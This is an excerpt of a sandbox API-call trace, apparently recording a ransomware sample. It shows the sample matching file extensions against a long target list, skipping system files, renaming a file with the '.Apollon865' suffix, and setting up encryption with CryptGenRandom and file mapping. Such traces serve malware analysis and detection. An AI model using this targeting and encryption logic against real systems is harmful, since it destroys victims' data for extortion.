	[0058.880] lstrlenW (lpString="gwi") returned 3
	[0058.880] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1
	[0058.880] lstrlenW (lpString="hdb") returned 3
	[0058.880] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1
	[0058.880] lstrlenW (lpString="his") returned 3
	[0058.880] lstrcmpiW (lpString1="ini", lpString2="his") returned 1
	[0058.880] lstrlenW (lpString="ib") returned 2
	[0058.880] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1
	[0058.880] lstrlenW (lpString="idb") returned 3
	[0058.880] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1
	[0058.880] lstrlenW (lpString="ihx") returned 3
	[0058.880] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1
	[0058.880] lstrlenW (lpString="itdb") returned 4
	[0058.880] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1
	[0058.880] lstrlenW (lpString="itw") returned 3
	[0058.880] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1
	[0058.880] lstrlenW (lpString="jet") returned 3
	[0058.880] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1
	[0058.880] lstrlenW (lpString="jtx") returned 3
	[0058.880] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1
	[0058.880] lstrlenW (lpString="kdb") returned 3
	[0058.880] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1
	[0058.880] lstrlenW (lpString="kexi") returned 4
	[0058.880] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1
	[0058.880] lstrlenW (lpString="kexic") returned 5
	[0058.880] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1
	[0058.880] lstrlenW (lpString="kexis") returned 5
	[0058.880] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1
	[0058.880] lstrlenW (lpString="lgc") returned 3
	[0058.880] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1
	[0058.880] lstrlenW (lpString="lwx") returned 3
	[0058.880] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1
	[0058.880] lstrlenW (lpString="maf") returned 3
	[0058.880] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1
	[0058.880] lstrlenW (lpString="maq") returned 3
	[0058.881] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1
	[0058.881] lstrlenW (lpString="mar") returned 3
	[0058.881] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1
	[0058.881] lstrlenW (lpString="marshal") returned 7
	[0058.881] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1
	[0058.881] lstrlenW (lpString="mas") returned 3
	[0058.881] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1
	[0058.881] lstrlenW (lpString="mav") returned 3
	[0058.881] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1
	[0058.881] lstrlenW (lpString="maw") returned 3
	[0058.881] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1
	[0058.881] lstrlenW (lpString="mdbhtml") returned 7
	[0058.881] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1
	[0058.881] lstrlenW (lpString="mdn") returned 3
	[0058.881] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1
	[0058.881] lstrlenW (lpString="mdt") returned 3
	[0058.881] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1
	[0058.881] lstrlenW (lpString="mfd") returned 3
	[0058.881] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1
	[0058.881] lstrlenW (lpString="mpd") returned 3
	[0058.881] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1
	[0058.881] lstrlenW (lpString="mrg") returned 3
	[0058.881] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1
	[0058.881] lstrlenW (lpString="mud") returned 3
	[0058.881] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1
	[0058.881] lstrlenW (lpString="mwb") returned 3
	[0058.881] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1
	[0058.881] lstrlenW (lpString="myd") returned 3
	[0058.881] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1
	[0058.881] lstrlenW (lpString="ndf") returned 3
	[0058.881] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1
	[0058.881] lstrlenW (lpString="nnt") returned 3
	[0058.881] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1
	[0058.881] lstrlenW (lpString="nrmlib") returned 6
	[0058.882] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1
	[0058.882] lstrlenW (lpString="ns2") returned 3
	[0058.882] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1
	[0058.882] lstrlenW (lpString="ns3") returned 3
	[0058.882] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1
	[0058.882] lstrlenW (lpString="ns4") returned 3
	[0058.882] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1
	[0058.882] lstrlenW (lpString="nsf") returned 3
	[0058.882] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1
	[0058.882] lstrlenW (lpString="nv") returned 2
	[0058.882] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1
	[0058.882] lstrlenW (lpString="nv2") returned 3
	[0058.882] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1
	[0058.882] lstrlenW (lpString="nwdb") returned 4
	[0058.882] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1
	[0058.882] lstrlenW (lpString="nyf") returned 3
	[0058.882] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1
	[0058.882] lstrlenW (lpString="odb") returned 3
	[0058.882] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0058.882] lstrlenW (lpString="odb") returned 3
	[0058.882] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0058.882] lstrlenW (lpString="oqy") returned 3
	[0058.882] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1
	[0058.882] lstrlenW (lpString="ora") returned 3
	[0058.882] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1
	[0058.882] lstrlenW (lpString="orx") returned 3
	[0058.882] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1
	[0058.882] lstrlenW (lpString="owc") returned 3
	[0058.882] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1
	[0058.882] lstrlenW (lpString="p96") returned 3
	[0058.882] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1
	[0058.882] lstrlenW (lpString="p97") returned 3
	[0058.882] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1
	[0058.882] lstrlenW (lpString="pan") returned 3
	[0058.883] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1
	[0058.883] lstrlenW (lpString="pdb") returned 3
	[0058.883] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1
	[0058.883] lstrlenW (lpString="pdm") returned 3
	[0058.883] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1
	[0058.883] lstrlenW (lpString="pnz") returned 3
	[0058.883] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1
	[0058.883] lstrlenW (lpString="qry") returned 3
	[0058.883] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1
	[0058.883] lstrlenW (lpString="qvd") returned 3
	[0058.883] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1
	[0058.883] lstrlenW (lpString="rbf") returned 3
	[0058.883] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1
	[0058.883] lstrlenW (lpString="rctd") returned 4
	[0058.883] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1
	[0058.883] lstrlenW (lpString="rod") returned 3
	[0058.883] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1
	[0058.883] lstrlenW (lpString="rodx") returned 4
	[0058.883] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1
	[0058.883] lstrlenW (lpString="rpd") returned 3
	[0058.883] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1
	[0058.883] lstrlenW (lpString="rsd") returned 3
	[0058.883] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1
	[0058.883] lstrlenW (lpString="sas7bdat") returned 8
	[0058.883] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1
	[0058.883] lstrlenW (lpString="sbf") returned 3
	[0058.883] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1
	[0058.883] lstrlenW (lpString="scx") returned 3
	[0058.883] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1
	[0058.883] lstrlenW (lpString="sdb") returned 3
	[0058.883] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1
	[0058.883] lstrlenW (lpString="sdc") returned 3
	[0058.883] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1
	[0058.883] lstrlenW (lpString="sdf") returned 3
	[0058.883] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1
	[0058.884] lstrlenW (lpString="sis") returned 3
	[0058.884] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1
	[0058.884] lstrlenW (lpString="spq") returned 3
	[0058.884] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1
	[0058.884] lstrlenW (lpString="te") returned 2
	[0058.884] lstrcmpiW (lpString1="ni", lpString2="te") returned -1
	[0058.884] lstrlenW (lpString="teacher") returned 7
	[0058.884] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1
	[0058.884] lstrlenW (lpString="tmd") returned 3
	[0058.884] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1
	[0058.884] lstrlenW (lpString="tps") returned 3
	[0058.884] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1
	[0058.884] lstrlenW (lpString="trc") returned 3
	[0058.884] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0058.884] lstrlenW (lpString="trc") returned 3
	[0058.884] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0058.884] lstrlenW (lpString="trm") returned 3
	[0058.884] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1
	[0058.884] lstrlenW (lpString="udb") returned 3
	[0058.884] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1
	[0058.884] lstrlenW (lpString="udl") returned 3
	[0058.884] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1
	[0058.884] lstrlenW (lpString="usr") returned 3
	[0058.884] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1
	[0058.884] lstrlenW (lpString="v12") returned 3
	[0058.884] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1
	[0058.884] lstrlenW (lpString="vis") returned 3
	[0058.884] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1
	[0058.884] lstrlenW (lpString="vpd") returned 3
	[0058.884] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1
	[0058.884] lstrlenW (lpString="vvv") returned 3
	[0058.884] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1
	[0058.884] lstrlenW (lpString="wdb") returned 3
	[0058.884] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1
	[0058.884] lstrlenW (lpString="wmdb") returned 4
	[0058.885] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1
	[0058.885] lstrlenW (lpString="wrk") returned 3
	[0058.885] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1
	[0058.885] lstrlenW (lpString="xdb") returned 3
	[0058.885] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1
	[0058.885] lstrlenW (lpString="xld") returned 3
	[0058.885] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1
	[0058.885] lstrlenW (lpString="xmlff") returned 5
	[0058.885] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1
	[0058.885] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini.Apollon865") returned 87
	[0058.885] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\desktop.ini"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\desktop.ini.apollon865"), dwFlags=0x1) returned 1
	[0058.901] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\desktop.ini.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0058.901] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=645) returned 1
	[0058.901] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3270020
	[0058.902] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0058.902] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf788
	[0058.902] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0058.903] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0058.903] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0058.903] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x590, lpName=0x0) returned 0x154
	[0058.904] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x590) returned 0x100000
	[0058.905] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0058.906] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0058.906] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0058.906] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59abf0
	[0058.906] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59abf0 | out: hHeap=0x580000) returned 1
	[0058.906] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0058.906] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0058.906] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0058.906] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0058.906] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2d38
	[0058.906] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0058.906] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2d38 | out: hHeap=0x580000) returned 1
	[0058.906] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0058.906] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0058.906] CloseHandle (hObject=0x154) returned 1
	[0058.906] CloseHandle (hObject=0x150) returned 1
	[0058.906] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0058.906] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf788 | out: hHeap=0x580000) returned 1
	[0058.906] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3270020 | out: hHeap=0x580000) returned 1
	[0058.907] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x650f7e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x650f7e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xce04b5c8, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Garden.htm", cAlternateFileName="")) returned 1
	[0058.907] lstrcmpiW (lpString1="Garden.htm", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0058.907] lstrcmpiW (lpString1="Garden.htm", lpString2="Apollon865.txt.exe") returned 1
	[0058.907] lstrcmpiW (lpString1="Garden.htm", lpString2=".") returned 1
	[0058.907] lstrcmpiW (lpString1="Garden.htm", lpString2="..") returned 1
	[0058.907] lstrcmpiW (lpString1="Garden.htm", lpString2="windows") returned -1
	[0058.907] lstrcmpiW (lpString1="Garden.htm", lpString2="bootmgr") returned 1
	[0058.907] lstrcmpiW (lpString1="Garden.htm", lpString2="temp") returned -1
	[0058.907] lstrcmpiW (lpString1="Garden.htm", lpString2="pagefile.sys") returned -1
	[0058.907] lstrcmpiW (lpString1="Garden.htm", lpString2="boot") returned 1
	[0058.907] lstrcmpiW (lpString1="Garden.htm", lpString2="ids.txt") returned -1
	[0058.907] lstrcmpiW (lpString1="Garden.htm", lpString2="ntuser.dat") returned -1
	[0058.907] lstrcmpiW (lpString1="Garden.htm", lpString2="perflogs") returned -1
	[0058.907] lstrcmpiW (lpString1="Garden.htm", lpString2="MSBuild") returned -1
	[0058.907] lstrlenW (lpString="Garden.htm") returned 10
	[0058.907] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini") returned 76
	[0058.907] lstrcpyW (in: lpString1=0x119e68a, lpString2="Garden.htm" | out: lpString1="Garden.htm") returned="Garden.htm"
	[0058.907] lstrlenW (lpString="Garden.htm") returned 10
	[0058.907] lstrlenW (lpString="Apollon865") returned 10
	[0058.907] lstrlenW (lpString=".dll") returned 4
	[0058.907] lstrcmpiW (lpString1="Garden.htm", lpString2=".dll") returned 1
	[0058.907] lstrlenW (lpString=".lnk") returned 4
	[0058.907] lstrcmpiW (lpString1="Garden.htm", lpString2=".lnk") returned 1
	[0058.907] lstrlenW (lpString=".ini") returned 4
	[0058.907] lstrcmpiW (lpString1="Garden.htm", lpString2=".ini") returned 1
	[0058.907] lstrlenW (lpString=".sys") returned 4
	[0058.907] lstrcmpiW (lpString1="Garden.htm", lpString2=".sys") returned 1
	[0058.907] lstrlenW (lpString="Garden.htm") returned 10
	[0058.908] lstrlenW (lpString="bak") returned 3
	[0058.908] lstrcmpiW (lpString1="htm", lpString2="bak") returned 1
	[0058.908] lstrlenW (lpString="ba_") returned 3
	[0058.908] lstrcmpiW (lpString1="htm", lpString2="ba_") returned 1
	[0058.908] lstrlenW (lpString="dbb") returned 3
	[0058.908] lstrcmpiW (lpString1="htm", lpString2="dbb") returned 1
	[0058.908] lstrlenW (lpString="vmdk") returned 4
	[0058.908] lstrcmpiW (lpString1=".htm", lpString2="vmdk") returned -1
	[0058.908] lstrlenW (lpString="rar") returned 3
	[0058.908] lstrcmpiW (lpString1="htm", lpString2="rar") returned -1
	[0058.908] lstrlenW (lpString="zip") returned 3
	[0058.908] lstrcmpiW (lpString1="htm", lpString2="zip") returned -1
	[0058.908] lstrlenW (lpString="tgz") returned 3
	[0058.908] lstrcmpiW (lpString1="htm", lpString2="tgz") returned -1
	[0058.908] lstrlenW (lpString="vbox") returned 4
	[0058.908] lstrcmpiW (lpString1=".htm", lpString2="vbox") returned -1
	[0058.908] lstrlenW (lpString="vdi") returned 3
	[0058.908] lstrcmpiW (lpString1="htm", lpString2="vdi") returned -1
	[0058.908] lstrlenW (lpString="vhd") returned 3
	[0058.908] lstrcmpiW (lpString1="htm", lpString2="vhd") returned -1
	[0058.908] lstrlenW (lpString="vhdx") returned 4
	[0058.908] lstrcmpiW (lpString1=".htm", lpString2="vhdx") returned -1
	[0058.908] lstrlenW (lpString="avhd") returned 4
	[0058.908] lstrcmpiW (lpString1=".htm", lpString2="avhd") returned -1
	[0058.908] lstrlenW (lpString="db") returned 2
	[0058.908] lstrcmpiW (lpString1="tm", lpString2="db") returned 1
	[0058.908] lstrlenW (lpString="db2") returned 3
	[0058.908] lstrcmpiW (lpString1="htm", lpString2="db2") returned 1
	[0058.908] lstrlenW (lpString="db3") returned 3
	[0058.908] lstrcmpiW (lpString1="htm", lpString2="db3") returned 1
	[0058.908] lstrlenW (lpString="dbf") returned 3
	[0058.908] lstrcmpiW (lpString1="htm", lpString2="dbf") returned 1
	[0058.908] lstrlenW (lpString="mdf") returned 3
	[0058.908] lstrcmpiW (lpString1="htm", lpString2="mdf") returned -1
	[0058.908] lstrlenW (lpString="mdb") returned 3
	[0058.908] lstrcmpiW (lpString1="htm", lpString2="mdb") returned -1
	[0058.909] lstrlenW (lpString="sql") returned 3
	[0058.909] lstrcmpiW (lpString1="htm", lpString2="sql") returned -1
	[0058.909] lstrlenW (lpString="sqlite") returned 6
	[0058.909] lstrcmpiW (lpString1="en.htm", lpString2="sqlite") returned -1
	[0058.909] lstrlenW (lpString="sqlite3") returned 7
	[0058.909] lstrcmpiW (lpString1="den.htm", lpString2="sqlite3") returned -1
	[0058.909] lstrlenW (lpString="sqlitedb") returned 8
	[0058.909] lstrcmpiW (lpString1="rden.htm", lpString2="sqlitedb") returned -1
	[0058.909] lstrlenW (lpString="xml") returned 3
	[0058.909] lstrcmpiW (lpString1="htm", lpString2="xml") returned -1
	[0058.909] lstrlenW (lpString="$er") returned 3
	[0058.909] lstrcmpiW (lpString1="htm", lpString2="$er") returned 1
	[0058.909] lstrlenW (lpString="4dd") returned 3
	[0058.909] lstrcmpiW (lpString1="htm", lpString2="4dd") returned 1
	[0058.909] lstrlenW (lpString="4dl") returned 3
	[0058.909] lstrcmpiW (lpString1="htm", lpString2="4dl") returned 1
	[0058.909] lstrlenW (lpString="^^^") returned 3
	[0058.909] lstrcmpiW (lpString1="htm", lpString2="^^^") returned 1
	[0058.909] lstrlenW (lpString="abs") returned 3
	[0058.909] lstrcmpiW (lpString1="htm", lpString2="abs") returned 1
	[0058.909] lstrlenW (lpString="abx") returned 3
	[0058.909] lstrcmpiW (lpString1="htm", lpString2="abx") returned 1
	[0058.909] lstrlenW (lpString="accdb") returned 5
	[0058.909] lstrcmpiW (lpString1="n.htm", lpString2="accdb") returned 1
	[0058.909] lstrlenW (lpString="accdc") returned 5
	[0058.909] lstrcmpiW (lpString1="n.htm", lpString2="accdc") returned 1
	[0058.909] lstrlenW (lpString="accde") returned 5
	[0058.909] lstrcmpiW (lpString1="n.htm", lpString2="accde") returned 1
	[0058.909] lstrlenW (lpString="accdr") returned 5
	[0058.909] lstrcmpiW (lpString1="n.htm", lpString2="accdr") returned 1
	[0058.909] lstrlenW (lpString="accdt") returned 5
	[0058.909] lstrcmpiW (lpString1="n.htm", lpString2="accdt") returned 1
	[0058.909] lstrlenW (lpString="accdw") returned 5
	[0058.909] lstrcmpiW (lpString1="n.htm", lpString2="accdw") returned 1
	[0058.910] lstrlenW (lpString="accft") returned 5
	[0058.910] lstrcmpiW (lpString1="n.htm", lpString2="accft") returned 1
	[0058.910] lstrlenW (lpString="adb") returned 3
	[0058.910] lstrcmpiW (lpString1="htm", lpString2="adb") returned 1
	[0058.910] lstrlenW (lpString="adb") returned 3
	[0058.910] lstrcmpiW (lpString1="htm", lpString2="adb") returned 1
	[0058.910] lstrlenW (lpString="ade") returned 3
	[0058.910] lstrcmpiW (lpString1="htm", lpString2="ade") returned 1
	[0058.910] lstrlenW (lpString="adf") returned 3
	[0058.910] lstrcmpiW (lpString1="htm", lpString2="adf") returned 1
	[0058.910] lstrlenW (lpString="adn") returned 3
	[0058.910] lstrcmpiW (lpString1="htm", lpString2="adn") returned 1
	[0058.910] lstrlenW (lpString="adp") returned 3
	[0058.910] lstrcmpiW (lpString1="htm", lpString2="adp") returned 1
	[0058.910] lstrlenW (lpString="alf") returned 3
	[0058.910] lstrcmpiW (lpString1="htm", lpString2="alf") returned 1
	[0058.910] lstrlenW (lpString="ask") returned 3
	[0058.910] lstrcmpiW (lpString1="htm", lpString2="ask") returned 1
	[0058.910] lstrlenW (lpString="btr") returned 3
	[0058.910] lstrcmpiW (lpString1="htm", lpString2="btr") returned 1
	[0058.910] lstrlenW (lpString="cat") returned 3
	[0058.910] lstrcmpiW (lpString1="htm", lpString2="cat") returned 1
	[0058.910] lstrlenW (lpString="cdb") returned 3
	[0058.910] lstrcmpiW (lpString1="htm", lpString2="cdb") returned 1
	[0058.910] lstrlenW (lpString="ckp") returned 3
	[0058.910] lstrcmpiW (lpString1="htm", lpString2="ckp") returned 1
	[0058.910] lstrlenW (lpString="cma") returned 3
	[0058.910] lstrcmpiW (lpString1="htm", lpString2="cma") returned 1
	[0058.910] lstrlenW (lpString="cpd") returned 3
	[0058.910] lstrcmpiW (lpString1="htm", lpString2="cpd") returned 1
	[0058.910] lstrlenW (lpString="dacpac") returned 6
	[0058.910] lstrcmpiW (lpString1="en.htm", lpString2="dacpac") returned 1
	[0058.910] lstrlenW (lpString="dad") returned 3
	[0058.910] lstrcmpiW (lpString1="htm", lpString2="dad") returned 1
	[0058.910] lstrlenW (lpString="dadiagrams") returned 10
	[0058.911] lstrlenW (lpString="daschema") returned 8
	[0058.911] lstrcmpiW (lpString1="rden.htm", lpString2="daschema") returned 1
	[0058.911] lstrlenW (lpString="db-journal") returned 10
	[0058.911] lstrlenW (lpString="db-shm") returned 6
	[0058.911] lstrcmpiW (lpString1="en.htm", lpString2="db-shm") returned 1
	[0058.911] lstrlenW (lpString="db-wal") returned 6
	[0058.911] lstrcmpiW (lpString1="en.htm", lpString2="db-wal") returned 1
	[0058.911] lstrlenW (lpString="dbc") returned 3
	[0058.911] lstrcmpiW (lpString1="htm", lpString2="dbc") returned 1
	[0058.911] lstrlenW (lpString="dbs") returned 3
	[0058.911] lstrcmpiW (lpString1="htm", lpString2="dbs") returned 1
	[0058.911] lstrlenW (lpString="dbt") returned 3
	[0058.911] lstrcmpiW (lpString1="htm", lpString2="dbt") returned 1
	[0058.911] lstrlenW (lpString="dbv") returned 3
	[0058.911] lstrcmpiW (lpString1="htm", lpString2="dbv") returned 1
	[0058.911] lstrlenW (lpString="dbx") returned 3
	[0058.911] lstrcmpiW (lpString1="htm", lpString2="dbx") returned 1
	[0058.911] lstrlenW (lpString="dcb") returned 3
	[0058.911] lstrcmpiW (lpString1="htm", lpString2="dcb") returned 1
	[0058.911] lstrlenW (lpString="dct") returned 3
	[0058.911] lstrcmpiW (lpString1="htm", lpString2="dct") returned 1
	[0058.911] lstrlenW (lpString="dcx") returned 3
	[0058.911] lstrcmpiW (lpString1="htm", lpString2="dcx") returned 1
	[0058.911] lstrlenW (lpString="ddl") returned 3
	[0058.911] lstrcmpiW (lpString1="htm", lpString2="ddl") returned 1
	[0058.911] lstrlenW (lpString="dlis") returned 4
	[0058.911] lstrcmpiW (lpString1=".htm", lpString2="dlis") returned -1
	[0058.911] lstrlenW (lpString="dp1") returned 3
	[0058.911] lstrcmpiW (lpString1="htm", lpString2="dp1") returned 1
	[0058.911] lstrlenW (lpString="dqy") returned 3
	[0058.911] lstrcmpiW (lpString1="htm", lpString2="dqy") returned 1
	[0058.911] lstrlenW (lpString="dsk") returned 3
	[0058.911] lstrcmpiW (lpString1="htm", lpString2="dsk") returned 1
	[0058.911] lstrlenW (lpString="dsn") returned 3
	[0058.911] lstrcmpiW (lpString1="htm", lpString2="dsn") returned 1
	[0058.911] lstrlenW (lpString="dtsx") returned 4
	[0058.912] lstrcmpiW (lpString1=".htm", lpString2="dtsx") returned -1
	[0058.912] lstrlenW (lpString="dxl") returned 3
	[0058.912] lstrcmpiW (lpString1="htm", lpString2="dxl") returned 1
	[0058.912] lstrlenW (lpString="eco") returned 3
	[0058.912] lstrcmpiW (lpString1="htm", lpString2="eco") returned 1
	[0058.912] lstrlenW (lpString="ecx") returned 3
	[0058.912] lstrcmpiW (lpString1="htm", lpString2="ecx") returned 1
	[0058.912] lstrlenW (lpString="edb") returned 3
	[0058.912] lstrcmpiW (lpString1="htm", lpString2="edb") returned 1
	[0058.912] lstrlenW (lpString="epim") returned 4
	[0058.912] lstrcmpiW (lpString1=".htm", lpString2="epim") returned -1
	[0058.912] lstrlenW (lpString="fcd") returned 3
	[0058.912] lstrcmpiW (lpString1="htm", lpString2="fcd") returned 1
	[0058.912] lstrlenW (lpString="fdb") returned 3
	[0058.912] lstrcmpiW (lpString1="htm", lpString2="fdb") returned 1
	[0058.912] lstrlenW (lpString="fic") returned 3
	[0058.912] lstrcmpiW (lpString1="htm", lpString2="fic") returned 1
	[0058.912] lstrlenW (lpString="flexolibrary") returned 12
	[0058.912] lstrlenW (lpString="fm5") returned 3
	[0058.912] lstrcmpiW (lpString1="htm", lpString2="fm5") returned 1
	[0058.912] lstrlenW (lpString="fmp") returned 3
	[0058.912] lstrcmpiW (lpString1="htm", lpString2="fmp") returned 1
	[0058.912] lstrlenW (lpString="fmp12") returned 5
